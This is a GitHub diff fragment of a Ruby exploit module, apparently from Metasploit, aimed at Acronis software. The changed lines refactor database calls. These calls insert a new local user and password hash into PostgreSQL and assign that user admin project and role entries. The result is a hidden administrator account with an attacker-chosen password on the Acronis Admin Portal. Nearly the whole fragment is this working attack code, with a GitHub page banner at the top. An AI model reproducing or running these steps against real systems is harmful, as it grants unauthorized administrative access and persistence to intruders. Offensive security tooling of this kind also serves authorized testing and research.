You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
returnfalseunlessrun_query("insert into \"local_user\" values(#{id_luser},\'#{userid}\','default',\'#{username}\',NULL,NULL);")
118
+
id_luser=res_query[:complete].rows[0][0].to_i + 1
119
+
res_query=postgres_query("INSERT INTO \"local_user\" VALUES(\'#{id_luser}\',\'#{userid}\','default',\'#{username}\',NULL,NULL);",datastore['VERBOSE'])
120
+
returnfalseunlessres_query.keys[0] == :complete
136
121
137
122
# hash the password
138
123
password_hash=Password.create(password)
139
124
today=Date.today
140
125
vprint_status("Setting password #{password} with hash #{password_hash}")
141
-
returnfalseunlessrun_query('select * from "password" where id = ( select MAX (id) from "password" );')
126
+
res_query=postgres_query('SELECT * FROM "password" WHERE id = ( SELECT MAX (id) FROM "password" );',datastore['VERBOSE'])
127
+
returnfalseunlessres_query.keys[0] == :complete
142
128
143
-
id_pwd=@res_query[:complete].rows[0][0].to_i + 1
144
-
returnfalseunlessrun_query("insert into \"password\" values(#{id_pwd},#{id_luser},NULL,'F',\'#{password_hash}\',0,NULL,DATE \'#{today}\');")
129
+
id_pwd=res_query[:complete].rows[0][0].to_i + 1
130
+
res_query=postgres_query("INSERT INTO \"password\" VALUES(\'#{id_pwd}\',\'#{id_luser}\',NULL,'F',\'#{password_hash}\',0,NULL,DATE \'#{today}\');",datastore['VERBOSE'])
131
+
returnfalseunlessres_query.keys[0] == :complete
145
132
146
133
# Getting the admin roles and assign this to the new admin user
147
134
vprint_status('Getting the admin roles')
148
-
returnfalseunlessrun_query("select * from \"project\" where name = 'admin' and domain_id = 'default';")
135
+
res_query=postgres_query("SELECT * FROM \"project\" WHERE name = 'admin' AND domain_id = 'default';",datastore['VERBOSE'])
136
+
returnfalseunlessres_query.keys[0] == :complete
149
137
150
-
id_project_role=@res_query[:complete].rows[0][0]
151
-
returnfalseunlessrun_query("select * from \"role\" where name = 'admin';")
138
+
id_project_role=res_query[:complete].rows[0][0]
139
+
res_query=postgres_query("SELECT * FROM \"role\" WHERE name = 'admin';",datastore['VERBOSE'])
140
+
returnfalseunlessres_query.keys[0] == :complete
152
141
153
-
id_admin_role=@res_query[:complete].rows[0][0]
142
+
id_admin_role=res_query[:complete].rows[0][0]
154
143
vprint_status("Assigning the admin roles: #{id_project_role} and #{id_admin_role}")
155
-
returnfalseunlessrun_query("insert into \"assignment\" values('UserProject',\'#{userid}\',\'#{id_project_role}\',\'#{id_admin_role}\','F')")
144
+
res_query=postgres_query("INSERT INTO \"assignment\" VALUES('UserProject',\'#{userid}\',\'#{id_project_role}\',\'#{id_admin_role}\','F');",datastore['VERBOSE'])
145
+
returnfalseunlessres_query.keys[0] == :complete
156
146
157
147
vprint_status("Successfully created admin user #{username} with password #{password} to access the Acronis Admin Portal.")
158
148
true
@@ -292,32 +282,43 @@ def exploit
292
282
print_status("Creating admin user #{username} with password #{password} for access at the Acronis Admin Portal.")
0 commit comments